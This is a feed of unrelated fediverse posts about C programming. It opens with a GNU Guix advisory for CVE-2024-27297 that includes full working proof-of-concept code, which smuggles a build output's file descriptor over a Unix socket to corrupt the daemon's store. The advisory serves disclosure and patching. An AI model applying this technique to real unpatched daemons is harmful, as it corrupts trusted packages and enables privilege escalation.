#include

federatica_bot@federatica.space

GNU Guix: Fixed-Output Derivation Sandbox Bypass (CVE-2024-27297)

A security issue has been identified in guix-daemon which allows for fixed-output derivations, such as source code tarballs or Git checkouts, to be corrupted by an unprivileged user. This could also lead to local privilege escalation. This was originally reported to Nix but also affects Guix as we share some underlying code from an older version of Nix for the guix-daemon. Readers only interested in making sure their Guix is up to date and no longer affected by this vulnerability can skip down to the "Upgrading" section.

Vulnerability

The basic idea of the attack is to pass file descriptors through Unix sockets to allow another process to modify the derivation contents. This was first reported to Nix by jade and puckipedia with further details and a proof of concept here. Note that the proof of concept is written for Nix and has been adapted for GNU Guix below. This security advisory is registered as CVE-2024-27297 (details are also available at Nix's GitHub security advisory) and rated "moderate" in severity.

A fixed-output derivation is one where the output hash is known in advance. For instance, to produce a source tarball. The GNU Guix build sandbox purposefully excludes network access (for security and to ensure we can control and reproduce the build environment), but a fixed-output derivation does have network access, for instance to download that source tarball. However, as stated, the hash of output must be known in advance, again for security (we know if the file contents would change) and reproducibility (should always have the same output). The guix-daemon handles the build process and writing the output to the store, as a privileged process.

In the build sandbox for a fixed-output derivation, a file descriptor to its contents could be shared with another process via a Unix socket. This other process, outside of the build sandbox, can then modify the contents written to the store, changing them to something malicious or otherwise corrupting the output. While the output hash has already been determined, these changes would mean a fixed-output derivation could have contents written to the store which do not match the expected hash. This could then be used by the user or other packages as well.

Mitigation

This security issue (tracked here for GNU Guix) has been fixed by two commits by Ludovic Courtès. Users should make sure they have updated to this second commit to be protected from this vulnerability. Upgrade instructions are in the following section.

While several possible mitigation strategies were detailed in the original report, the simplest fix is just copy the derivation output somewhere else, deleting the original, before writing to the store. Any file descriptors will no longer point to the contents which get written to the store, so only the guix-daemon should be able to write to the store, as designed. This is what the Nix project used in their own fix. This does add an additional copy/delete for each file, which may add a performance penalty for derivations with many files.

A proof of concept by Ludovic, adapted from the one in the original Nix report, is available at the end of this post. One can run this code with

guix build -f fixed-output-derivation-corruption.scm -M4

This will output whether the current guix-daemon being used is vulnerable or not. If it is vulnerable, the output will include a line similar to

We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!

The corrupted file can be removed with

guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*

In general, corrupt files from the store can be found with

guix gc --verify=contents

which will also include any files corrupted by through this vulnerability. Do note that this command can take a long time to complete as it checks every file under /gnu/store, which likely has many files.

Upgrading

Due to the severity of this security advisory, we strongly recommend all users to upgrade their guix-daemon immediately.

For a Guix System the procedure is just reconfiguring the system after a guix pull, either restarting guix-daemon or rebooting. For example,

guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice.

For Guix running as a package manager on other distributions, one needs to guix pull with sudo, as the guix-daemon runs as root, and restart the guix-daemon service. For example, on a system using systemd to manage services,

sudo --login guix pull
sudo systemctl restart guix-daemon.service

Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.

Conclusion

One of the key features and design principles of GNU Guix is to allow unprivileged package management through a secure and reproducible build environment. While every effort is made to protect the user and system from any malicious actors, it is always possible that there are flaws yet to be discovered, as has happened here. In this case, using the ingredients of how file descriptors and Unix sockets work even in the isolated build environment allowed for a security vulnerability with moderate impact.

Our thanks to jade and puckipedia for the original report, and Picnoir for bringing this to the attention of the GNU Guix security team. And a special thanks to Ludovic Courtès for a prompt fix and proof of concept.

Note that there are current efforts to rewrite the guix-daemon in Guile by Christopher Baines. For more information and the latest news on this front, please refer to the recent blog post and this message on the guix-devel mailing list.

Proof of Concept

Below is code to check if a guix-daemon is vulnerable to this exploit. Save this file as fixed-output-derivation-corruption.scm and run following the instructions above, in "Mitigation." Some further details and example output can be found on issue #69728

;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.

(use-modules (guix)
             (guix modules)
             (guix profiles)
             (gnu packages)
             (gnu packages gnupg)
             (gcrypt hash)
             ((rnrs bytevectors) #:select (string->utf8)))

(define (compiled-c-code name source)
  (define build-profile
    (profile (content (specifications->manifest '("gcc-toolchain")))))

  (define build
    (with-extensions (list guile-gcrypt)
     (with-imported-modules (source-module-closure '((guix build utils)
                                                     (guix profiles)))
       #~(begin
           (use-modules (guix build utils)
                        (guix profiles))
           (load-profile #+build-profile)
           (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))

  (computed-file name build))

(define sender-source
  (plain-file "sender.c" "
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <errno.h>

      int main(int argc, char **argv) {
          setvbuf(stdout, NULL, _IOLBF, 0);

          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Set up an abstract domain socket path to connect to.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, \"dihutenosa\");

          // Now try to connect, To ensure we work no matter what order we are
          // executed in, just busyloop here.
          int res = -1;
          while (res < 0) {
              printf(\"attempting connection...\\n\");
              res = connect(sock, (const struct sockaddr *)&data,
                  offsetof(struct sockaddr_un, sun_path)
                    + strlen(\"dihutenosa\")
                    + 1);
              if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
              if (errno != ECONNREFUSED) break;
              usleep(500000);
          }

          // Write our message header.
          struct msghdr msg = {0};
          msg.msg_control = malloc(128);
          msg.msg_controllen = 128;

          // Write an SCM_RIGHTS message containing the output path.
          struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
          hdr->cmsg_len = CMSG_LEN(sizeof(int));
          hdr->cmsg_level = SOL_SOCKET;
          hdr->cmsg_type = SCM_RIGHTS;
          int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
          memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));

          msg.msg_controllen = CMSG_SPACE(sizeof(int));

          // Write a single null byte too.
          msg.msg_iov = malloc(sizeof(struct iovec));
          msg.msg_iov[0].iov_base = \"\";
          msg.msg_iov[0].iov_len = 1;
          msg.msg_iovlen = 1;

          // Send it to the othher side of this connection.
          res = sendmsg(sock, &msg, 0);
          if (res < 0) perror(\"sendmsg\");
          int buf;

          // Wait for the server to close the socket, implying that it has
          // received the commmand.
          recv(sock, (void *)&buf, sizeof(int), 0);
      }"))

(define receiver-source
  (mixed-text-file "receiver.c" "
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <sys/inotify.h>

      int main(int argc, char **argv) {
          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Bind to the socket.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, \"dihutenosa\");
          int res = bind(sock, (const struct sockaddr *)&data,
              offsetof(struct sockaddr_un, sun_path)
              + strlen(\"dihutenosa\")
              + 1);
          if (res < 0) perror(\"bind\");

          res = listen(sock, 1);
          if (res < 0) perror(\"listen\");

          while (1) {
              setvbuf(stdout, NULL, _IOLBF, 0);
              printf(\"accepting connections...\\n\");
              int a = accept(sock, 0, 0);
              if (a < 0) perror(\"accept\");

              struct msghdr msg = {0};
              msg.msg_control = malloc(128);
              msg.msg_controllen = 128;

              // Receive the file descriptor as sent by the smuggler.
              recvmsg(a, &msg, 0);

              struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
              while (hdr) {
                  if (hdr->cmsg_level == SOL_SOCKET
                   && hdr->cmsg_type == SCM_RIGHTS) {
                      int res;

                      // Grab the copy of the file descriptor.
                      memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
                      printf(\"preparing our hand...\\n\");

                      ftruncate(res, 0);
                      // Write the expected contents to the file, tricking Nix
                      // into accepting it as matching the fixed-output hash.
                      write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));

                      // But wait, the file is bigger than this! What could
                      // this code hide?

                      // First, we do a bit of a hack to get a path for the
                      // file descriptor we received. This is necessary because
                      // that file doesn't exist in our mount namespace!
                      char buf[128];
                      sprintf(buf, \"/proc/self/fd/%d\", res);

                      // Hook up an inotify on that file, so whenever Nix
                      // closes the file, we get notified.
                      int inot = inotify_init();
                      inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);

                      // Notify the smuggler that we've set everything up for
                      // the magic trick we're about to do.
                      close(a);

                      // So, before we continue with this code, a trip into Nix
                      // reveals a small flaw in fixed-output derivations. When
                      // storing their output, Nix has to hash them twice. Once
                      // to verify they match the \"flat\" hash of the derivation
                      // and once more after packing the file into the NAR that
                      // gets sent to a binary cache for others to consume. And
                      // there's a very slight window inbetween, where we could
                      // just swap the contents of our file. But the first hash
                      // is still noted down, and Nix will refuse to import our
                      // NAR file. To trick it, we need to write a reference to
                      // a store path that the source code for the smuggler drv
                      // references, to ensure it gets picked up. Continuing...

                      // Wait for the next inotify event to drop:
                      read(inot, buf, 128);

                      // first read + CA check has just been done, Nix is about
                      // to chown the file to root. afterwards, refscanning
                      // happens...

                      // Empty the file, seek to start.
                      ftruncate(res, 0);
                      lseek(res, 0, SEEK_SET);

                      // We swap out the contents!
                      static const char content[] = \"This file has been corrupted!\\n\";
                      write(res, content, strlen (content));
                      close(res);

                      printf(\"swaptrick finished, now to wait..\\n\");
                      return 0;
                  }

                  hdr = CMSG_NXTHDR(&msg, hdr);
              }
              close(a);
          }
      }"))

(define nonce
  (string-append "-" (number->string (car (gettimeofday)) 16)
                 "-" (number->string (getpid))))

(define original-text
  "This is the original text, before corruption.")

(define derivation-that-exfiltrates-fd
  (computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
                 (with-imported-modules '((guix build utils))
                   #~(begin
                       (use-modules (guix build utils))
                       (invoke #+(compiled-c-code "sender" sender-source))
                       (call-with-output-file #$output
                         (lambda (port)
                           (display #$original-text port)))))
                 #:options `(#:hash-algo sha256
                             #:hash ,(sha256
                                      (string->utf8 original-text)))))

(define derivation-that-grabs-fd
  (computed-file (string-append "derivation-that-grabs-fd" nonce)
                 #~(begin
                     (open-output-file #$output) ;make sure there's an output
                     (execl #+(compiled-c-code "receiver" receiver-source)
                            "receiver"))
                 #:options `(#:hash-algo sha256
                             #:hash ,(sha256 #vu8()))))

(define check
  (computed-file "checking-for-vulnerability"
                 #~(begin
                     (use-modules (ice-9 textual-ports))

                     (mkdir #$output)            ;make sure there's an output
                     (format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
                             #+derivation-that-grabs-fd
                             #+derivation-that-exfiltrates-fd)

                     (let ((content (call-with-input-file
                                        #+derivation-that-exfiltrates-fd
                                      get-string-all)))
                       (format #t "Here is what we see in ~a: ~s~%~%"
                               #+derivation-that-exfiltrates-fd content)
                       (if (string=? content #$original-text)
                           (format #t "Failed to corrupt ~a, \
your system is safe.~%"
                                   #+derivation-that-exfiltrates-fd)
                           (begin
                             (format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
                                     #+derivation-that-exfiltrates-fd)
                             (exit 1)))))))

check

About GNU Guix

GNU Guix is a transactional package manager and an advanced distribution of the GNU system that respects user freedom. Guix can be used on top of any system running the Hurd or the Linux kernel, or it can be used as a standalone operating system distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.

In addition to standard package management features, Guix supports transactional upgrades and roll-backs, unprivileged package management, per-user profiles, and garbage collection. When used as a standalone GNU/Linux distribution, Guix offers a declarative, stateless approach to operating system configuration management. Guix is highly customizable and hackable through Guile programming interfaces and extensions to the Scheme language.

#gnu #gnuorg #opensource

fefebot@pod.dapor.net

[l] Ich reverse hier gerade ein 64-bit ARM Binary, das OpenSSL statisch reinkompiliert hat. In einer älteren Version, aber das spielt hier keine Rolle.

OpenSSL hat eine Funktion namens OPENSSL_cleans(ptr,len). Das ruft man auf Buffer auf, die gleich out of scope gehen, damit kein Schlüsselmaterial im Speicher rumliegt. Smarte Defense-in-Depth-Maßnahme. Inhaltlich ist das bloß ein memset(ptr,0,len).

Vor ein paar Jahren fiel auf, dass Compiler unter anderem die Funktion haben, sogenannte Dead Stores wegzuoptimieren. Das hier ist z.B. ein dead store:

void foo() {

int i;
for (i=0; i<5; ++i) {
puts("huhu");
}
i=0; /* Hat keine Auswirkungen, kann weg */
}

In welchem Kontext benutzt man jetzt OPENSSL_cleanse? In so einem hier:

  char key[128];

[...]
OPENSSL_cleanse(key,sizeof(key));
return 0;
}

Wenn der Compiler versteht, dass OPENSSL_cleanse keine Seiteneffekte hat außer key zu überschreien, dann ist das ein klarer Fall für die Dead Store Elimination. Ähnlich sieht es mit einem memset() for einem free() aus.

Das ist vor ein paar Jahren aufgefallen, dass Compiler das nicht nur tun können sondern sogar in der Praxis wirklich tun. Plötzlich lagen im Speicher von Programmen Keymaterial herum. Also musste eine Strategie her, wie man den Compiler dazu bringt, das memset nicht wegzuoptimieren. Das ist leider in portablem C nicht so einfach. Hier ist, wie ich das in dietlibc gemacht habe:

 1 #include &lt;string.h>

2
3 void explicit_bzero(void* dest,size_t len) {
4 memset(dest,0,len);
5 asm volatile("": : "r"(dest) : "memory");
6 }

Das magische asm-Statement sagt dem Compiler, dass der Inline-Assembler-Code (der hier leer ist) lesend auf dest zugreift, was er aber nicht tatsächlich tut. Damit ist der memset kein Dead Store mehr und bleibt drinnen. Leider ist das asm-Statement eine gcc-Erweiterung (die aber auch clang und der Intel-Compiler verstehen).

Hier ist die Lösung von OpenSSL:

 18 typedef void \*(\*memset\_t)(void \*, int, size\_t);

19
20 static volatile memset_t memset_func = memset;
21
22 void OPENSSL_cleanse(void *ptr, size_t len)
23 {
24 memset_func(ptr, 0, len);
25 }

Die Idee ist, memset nicht direkt aufzurufen sondern über einen Function Pointer. Wenn man den volatile deklariert, dann muss der Compiler annehmen, dass sich der Wert asynchon ändern kann. Kann er aber nicht, weil da nie jemand was anderes als memset reinschreibt. Das kann gcc leider erkennen, weil die Helden von OpenSSL das static volatile deklariert haben, und es damit nur innerhalb dieser Compilation Unit sichtbar ist, und da sind keine anderen Zugriffe. Niemand nimmt auch nur die Adresse davon.

Wenn ich das mit einem aktuellen gcc 13.1 übersetze, kommt eine Zeiger-Dereferenzierung heraus. Aber in dem Binary kommt ein ... inline memcpy raus. Die haben ihr altes OpenSSL mit einem alten gcc gebaut.

Gut, der alte gcc ist nicht schlau genug, dann Calls zu OPENSSL_cleanse wegzuoptimieren, insofern ... Operation erfolgreich?

Ich blogge das hier, damit ihr mal gehört habt, dass es im Umgang mit immer schlauer werdenden Compilern Untiefen gibt, die man möglicherweise intuitiv nicht auf dem Radar hat.

#fefebot #klarerFall

federatica_bot@federatica.space

STC 4.2 - библиотека алгоритмов и контейнеров для Си

10 апреля состоялся выпуск версии 4.2 библиотеки STC (Smart Template Containers), написанной на языке C (C99) и распространяемой по лицензии MIT.

Изменения:

  • изменён адрес проекта;
  • улучшена документация;
  • добавлены Coroutines и сопутствующая документация;
  • добавлен новый crand.h. Предыдущий crandom.h объявлен устаревшим;
  • добавлен макрос c_const_cast;
  • макросы RAII удалены из примеров использования;
  • макрос c_foreach_r переименован в c_foreach_rv;
  • макрос c_flt_count переименован в c_flt_counter;
  • макрос c_flt_last переименован в c_flt_getcount;
  • макрос c_ARRAYLEN переименован в c_arraylen;
  • удалён устаревший макрос c_ARGSV();
  • удалён макрос c_PAIR.

По утверждениям разработчиков, STC -- это современная быстрая типо-безопасная небольшая библиотека контейнеров и алгоритмов для языка Си (стандарт C99). Библиотека создана под влиянием C++ STL, а также некоторых идей из Rust и Python.

Пример использования:

#define i_extern // include external cstr, utf8, cregex functions implementation.
#include <stc/cregex.h>

int main() {
    const char* input = "start date is 2023-03-01, end date 2025-12-31.";
    const char* pattern = "\\b(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\b";

    cregex re = cregex_from(pattern);

    // Lets find the first date in the string:
    csview match[4]; // full-match, year, month, date.
    if (cregex_find(&re, input, match) == CREG_OK)
        printf("Found date: %.*s\n", c_SV(match[0]));
    else
        printf("Could not find any date\n");

    // Lets change all dates into US date format MM/DD/YYYY:
    cstr us_input = cregex_replace(&re, input, "$2/$3/$1");
    printf("%s\n", cstr_str(&us_input));

    // Free allocated data
    cstr_drop(&us_input);
    cregex_drop(&re);
}

__ c, библиотека

#lang_ru #ru #linuxorgru #линукс #linux

zebulon_1er@diasp.org

#cgi #povray
ping @tTh, @Nunuche Follette, @inco gnito, ... :)

Bois et Résine Epoxyde dans povray

Après avoir un peu fait joujou avec mon dé, à lui essayer tout plein de textures diverses et variées... j'ai repensé à ces vidéos, postées par @Nunuche Follette, sur des objets en bois flotté noyé dans de la résine époxyde.

J'ai donc tout naturellement voulu faire un dé de la sorte.


Créer un objet qui sera inséré, comme un bout de bois, à l'aide d'une isosurface {} et une fonction f_granite comme générateur de forme, ce n'est pas le plus compliqué :
```povray
/*
** Gros dé en bois et résine époxyde
*/

#version 3.7;

#include "colors.inc"
#include "consts.inc"
#include "functions.inc"
#include "transforms.inc"

#include "isocsg/iso_csg.inc" // ISO_CSG, voir http://imagico.de/pov/ic/index.php

#declare EPSILON = 1e-4; // toute petite valeur, pour les marges

#ifndef (ASPECT_RATIO)
#declare ASPECT_RATIO = image_width / image_height;
#end

#declare AMBIENT_LIGHT = rgb 1/3;

#default {
finish { ambient AMBIENT_LIGHT }
}

global_settings {
charset utf8
assumed_gamma srgb
ambient_light AMBIENT_LIGHT
}

#declare SEED = seed(639663322);

#macro V3Rand()
< rand(SEED), rand(SEED), rand(SEED) >
#end

#macro V3SRand()
(V3Rand() * 2 - 1)
#end

#declare Size = 5; // taille du dé : 5 cms

#declare Size2 = Size / 2;
#declare Size2E = Size2 + EPSILON;

#local f1 = IC_Transform(f_granite,
transform {
scale Size * pi
translate V3SRand() * 100
rotate V3SRand() * 180
}
)

isosurface {
function { f1(x,y,z) * 0.4 - 0.075 }
contained_by { box { -Size2E, Size2E } }
accuracy 0.001
evaluate 1.1*0.6, sqrt(1/0.6), 0.7
pigment { White }
translate y * Size2E
}

// ground
plane { y, 0 pigment { Gray } }

camera {
location -z * 10
look_at o
direction z * 10

sky y
right x * ASPECT_RATIO
up y

translate -z * 100
rotate x * 30
rotate y * -60
translate y * Size2
}

// light intensity factor
// a: light distance (from object : light pos - object pos)
// b: light fade distance
// c: light fade power
#declare f_LightIntensityFactor = function(a,b,c) { pow(a/b + 1, c) / 2 }

#local Pos = vtransform(< -1, 2, -1 > * 100, transform { rotate y * -60 });
#local Int = f_LightIntensityFactor(vlength(Pos), 200, 1.5);
light_source {
Pos
color White * 1/3 * Int
fade_distance 200
fade_power 1.5
}

#local Pos = vtransform(< -1, 1, -1 > * 100, transform { rotate y * -150 });
#local Int = f_LightIntensityFactor(vlength(Pos), 100, 1.5);
light_source {
Pos
color White * 2/3 * Int
fade_distance 100
fade_power 1.5
}
```

Délimité par un cube.


Sauf que mon conteneur, ce n'est pas juste un simple cube (contained_by { box { -Size2E, Size2E } }), mais un dé, fait de l'intersection d'une sphère et d'un cube à laquelle on a enlevé des sphères écrasées pour y numéroter les faces de 1 à 6.

On a alors simplement l'idée d'utiliser le dé, fait en CSG classique, que l'on va intersecter (je ne sais pas si ça se dit) avec le morceau de bois précédemment créé en isosurface :

/*
** Gros dé en bois et résine époxyde
*/

#version 3.7;

#include "colors.inc"
#include "consts.inc"
#include "functions.inc"
#include "transforms.inc"

#include "isocsg/iso_csg.inc" // ISO_CSG, voir http://imagico.de/pov/ic/index.php

#include "ftz_dice.inc"

#declare EPSILON = 1e-4; // toute petite valeur, pour les marges

#ifndef (ASPECT_RATIO)
  #declare ASPECT_RATIO = image_width / image_height;
#end

#declare AMBIENT_LIGHT = rgb 1/3;

#default {
  finish { ambient AMBIENT_LIGHT }
}

global_settings {
  charset utf8
  assumed_gamma srgb
  ambient_light AMBIENT_LIGHT
}

#declare SEED = seed(639663322);

#macro V3Rand()
  < rand(SEED), rand(SEED), rand(SEED) >
#end

#macro V3SRand()
  (V3Rand() * 2 - 1)
#end

#declare Size = 5; // taille du dé : 5 cms

#declare Size2  = Size / 2;
#declare Size2E = Size2 + EPSILON;

#local f1 = IC_Transform(f_granite,
   transform {
    scale Size * pi
    translate V3SRand() * 100
    rotate V3SRand() * 180
  }
)

intersection {
  isosurface {
    function { f1(x,y,z) * 0.4 - 0.075 }
    contained_by { box { -Size2E, Size2E } }
    accuracy 0.001
    evaluate 1.1*0.6, sqrt(1/0.6), 0.7
  }
  FTZ_Dice(
    Size,
    material {},
    material {}
  )
  pigment { White }
  translate y * Size2E
}

// ground
plane { y, 0 pigment { Gray } }

camera {
  location  -z * 10
  look_at    o
  direction  z * 10

  sky    y
  right  x * ASPECT_RATIO
  up     y

  translate -z * 100
  rotate x * 30
  rotate y * -60
  translate y * Size2
}

// light intensity factor
// a: light distance (from object : light pos - object pos)
// b: light fade distance
// c: light fade power
#declare f_LightIntensityFactor = function(a,b,c) { pow(a/b + 1, c) / 2 }

#local Pos = vtransform(< -1, 2, -1 > * 100, transform { rotate y * -60 });
#local Int = f_LightIntensityFactor(vlength(Pos), 200, 1.5);
light_source {
  Pos
  color White * 1/3 * Int
  fade_distance 200
  fade_power 1.5
}

#local Pos = vtransform(< -1, 1, -1 > * 100, transform { rotate y * -150 });
#local Int = f_LightIntensityFactor(vlength(Pos), 100, 1.5);
light_source {
  Pos
  color White * 2/3 * Int
  fade_distance 100
  fade_power 1.5
}

Voilà, c'est déjà mieux. Mon morceau de bois ne dépassera pas du dé conteneur.


Reste plus qu'à utiliser une jolie texture bois pour cette partie... disons T_Wood13 (de woods.inc fourni avec povray) :

/*
** Gros dé en bois et résine époxyde
*/

#version 3.7;

#include "colors.inc"
#include "consts.inc"
#include "functions.inc"
#include "transforms.inc"
#include "woods.inc"

#include "isocsg/iso_csg.inc" // ISO_CSG, voir http://imagico.de/pov/ic/index.php

#include "ftz_dice.inc"

#declare EPSILON = 1e-4; // toute petite valeur, pour les marges

#ifndef (ASPECT_RATIO)
  #declare ASPECT_RATIO = image_width / image_height;
#end

#declare AMBIENT_LIGHT = rgb 1/3;

#default {
  finish { ambient AMBIENT_LIGHT }
}

global_settings {
  charset utf8
  assumed_gamma srgb
  ambient_light AMBIENT_LIGHT
}

#declare SEED = seed(639663322); // changez ce nombre, et toute la chaîne de nombres aléatoires appelés sera différente

#macro V3Rand()
  < rand(SEED), rand(SEED), rand(SEED) >
#end

#macro V3SRand()
  (V3Rand() * 2 - 1)
#end

#declare Size = 5; // taille du dé : 5 cms

#declare Size2  = Size / 2;
#declare Size2E = Size2 + EPSILON;

#local f1 = IC_Transform(f_granite,
   transform {
    scale Size * pi
    translate V3SRand() * 100
    rotate V3SRand() * 180
  }
)

intersection {
  isosurface {
    function { f1(x,y,z) * 0.4 - 0.075 }
    contained_by { box { -Size2E, Size2E } }
    accuracy 0.001
    evaluate 1.1*0.6, sqrt(1/0.6), 0.7
  }
  FTZ_Dice(
    Size,
    material {},
    material {}
  )
  texture {
    T_Wood13
    translate V3SRand() * 1e4
    rotate V3SRand() * 180
  }
  translate y * Size2E
}

// ground
plane { y, 0 pigment { Gray } }

camera {
  location  -z * 10
  look_at    o
  direction  z * 10

  sky    y
  right  x * ASPECT_RATIO
  up     y

  translate -z * 100
  rotate x * 30
  rotate y * -60
  translate y * Size2
}

// light intensity factor
// a: light distance (from object : light pos - object pos)
// b: light fade distance
// c: light fade power
#declare f_LightIntensityFactor = function(a,b,c) { pow(a/b + 1, c) / 2 }

#local Pos = vtransform(< -1, 2, -1 > * 100, transform { rotate y * -60 });
#local Int = f_LightIntensityFactor(vlength(Pos), 200, 1.5);
light_source {
  Pos
  color White * 1/3 * Int
  fade_distance 200
  fade_power 1.5
}

#local Pos = vtransform(< -1, 1, -1 > * 100, transform { rotate y * -150 });
#local Int = f_LightIntensityFactor(vlength(Pos), 100, 1.5);
light_source {
  Pos
  color White * 2/3 * Int
  fade_distance 100
  fade_power 1.5
}


Il ne reste plus qu'à ajouter le dé en résine époxyde :

/*
** Gros dé en bois et résine époxyde
*/

#version 3.7;

#include "colors.inc"
#include "consts.inc"
#include "finish.inc"
#include "functions.inc"
#include "transforms.inc"
#include "woods.inc"

#include "isocsg/iso_csg.inc" // ISO_CSG, voir http://imagico.de/pov/ic/index.php

#include "ftz_dice.inc"

#declare EPSILON = 1e-4; // toute petite valeur, pour les marges

#ifndef (ASPECT_RATIO)
  #declare ASPECT_RATIO = image_width / image_height;
#end

#declare AMBIENT_LIGHT = rgb 1/3;

#default {
  finish { ambient AMBIENT_LIGHT }
}

global_settings {
  charset utf8
  assumed_gamma srgb
  ambient_light AMBIENT_LIGHT
}

#declare SEED = seed(639663322);

#macro V3Rand()
  < rand(SEED), rand(SEED), rand(SEED) >
#end

#macro V3SRand()
  (V3Rand() * 2 - 1)
#end

#declare Size = 5; // taille du dé : 5 cms

#declare Size2  = Size / 2;
#declare Size2E = Size2 + EPSILON;

#local f1 = IC_Transform(f_granite,
   transform {
    scale Size * pi
    translate V3SRand() * 100
    rotate V3SRand() * 180
  }
)

#local o_Wood = intersection {
  isosurface {
    function { f1(x,y,z) * 0.4 - 0.075 }
    contained_by { box { -Size2E, Size2E } }
    accuracy 0.001
    evaluate 1.1*0.6, sqrt(1/0.6), 0.7
  }

  FTZ_Dice(
    Size,
    material {},
    material {}
  )

  texture {
    T_Wood13
    translate V3SRand() * 1e4
    rotate V3SRand() * 180
  }
}

#local o_Dice = FTZ_Dice(Size,
  // résine époxyde légèrement bleue
  material {
    #local C1 = < 186, 229, 255 > / 255;
    #local C2 = < 117, 157, 181 > / 255;

    #local T = 0.995; // transparence totale (filtrage compris)
    #local F = 0.2; // filtrage seul

    texture {
      pigment { color C1 filter F transmit (T - F) }

      finish {
        diffuse 0.15
        specular 0.8
        roughness 0.001
        reflection {
          C1/17
          fresnel on
        }
      }
    }

    interior {
      ior 1.5
      //dispersion 1.0125 // très long à rendre, avec de la dispersion
      fade_color C2
      fade_distance Size * 0.85
      fade_power 1001
    }
  },

  // matériau pour les nombres
  material {
    texture {
      pigment { color White * 0.995 }
      finish { Dull }
    }
  }
);

union {
  object { o_Wood }
  object { o_Dice }
  translate y * Size2E
}

// ground
plane { y, 0 pigment { Gray } }

camera {
  location  -z * 10
  look_at    o
  direction  z * 10

  sky    y
  right  x * ASPECT_RATIO
  up     y

  translate -z * 100
  rotate x * 30
  rotate y * -60
  translate y * Size2
}

// light intensity factor
// a: light distance (from object : light pos - object pos)
// b: light fade distance
// c: light fade power
#declare f_LightIntensityFactor = function(a,b,c) { pow(a/b + 1, c) / 2 }

#local Pos = vtransform(< -1, 2, -1 > * 100, transform { rotate y * -60 });
#local Int = f_LightIntensityFactor(vlength(Pos), 200, 1.5);
light_source {
  Pos
  color White * 1/3 * Int
  fade_distance 200
  fade_power 1.5
}

#local Pos = vtransform(< -1, 1, -1 > * 100, transform { rotate y * -150 });
#local Int = f_LightIntensityFactor(vlength(Pos), 100, 1.5);
light_source {
  Pos
  color White * 2/3 * Int
  fade_distance 100
  fade_power 1.5
}

Et voilà.

berndpaysan@pluspora.com

Linksläufige Schriften und Programmieren

Das hier ist legitimes C:

#include
void main()
{
int ס;
for(ס=1; ס<=10; ס++) {
printf("%d ", ס-1);
}
printf("\n");
}

Ich lass' das mal so stehen, weil das hebräische ס (ausgesprochen wie s) in der serifenlosen Schrift wirklich wie ein lateinisches o aussieht. Der Bidi-Algorithmus macht da aber echt lustige Dinge draus.

canoodle@nerdpol.ch

DevC - Linus Torvalds "Nothing better than C"

[video width=”492″ height=”426″ mp4=”https://dwaves.de/wp-content/uploads/2021/08/Linus-Torvalds-Nothing-better-than-C.mp4″\]\[/video\]

what is great about C?

  • - the simplicity of the compiler that just run’s anywhere
    • still THE most resource efficient language
      • with C the user does not have to buy a new computer every 3 years, because of updates slowing down the system so much it become inefficient
    • still THE language that can speak best to hardware
    • the syntax can be called ugly sometimes, but not as ugly as C++ X-D

everyone understands what this does:

cat boolstd.c
#include 
#include 

int main(void) {
    // set to true
    bool b1 = 1;

    // this is correct, it will print
    if(b1)
    {
        printf("Bool b1 is true \n");
    }

    // set to false
    _Bool b2 = 2;

    // this is false, will not print
    if(b2 == false)
    {
        printf("Bool b2 is false \n");
    }

    // requires 
    bool b3 = true;

    // this is correct, it will print
    if(b3 == true)
    {
        printf("Bool b3 is true \n");
    }

    // requires 
    bool b4 = false;

    if(b4 == false)
    {
        printf("Bool b4 is false \n");
    }
}

the problems of C:

  • security problems need to be adressed (all those buffer over- and underruns)

… security/safety plus multi core computing is what RUST tries to adress

RUST the safer C/C++?

https://dwaves.de/2019/08/17/rust-most-loved-programming-language-ever-c-with-safety-new-programming-language-from-mozilla-for-mozilla-and-safety-now-also-with-step-debugging/

#linux #gnu #gnulinux #opensource #administration #sysops #dev #devrust #rust #devc #c #linus

Originally posted at: https://dwaves.de/2021/08/19/devc-linus-torvalds-nothing-better-than-c/

neti@nerdpol.ch

... one second please ... ... heute Schaltsekunde ...
http://www.heise.de/newsticker/meldung/Schaltsekunde-Die-heutige-Nacht-ist-eine-Sekunde-laenger-2730430.html

Wer noch einen der alten Kernel fährt sollte sich vielleicht nach der #Schaltsekunde mal seinen Server anschauen. Nur in wenigen Fällen ist mit einem Freeze zu rechnen. Meist ist auf betroffenen System nur ein enormer Anstieg der CPU Auslastung zu sehen.
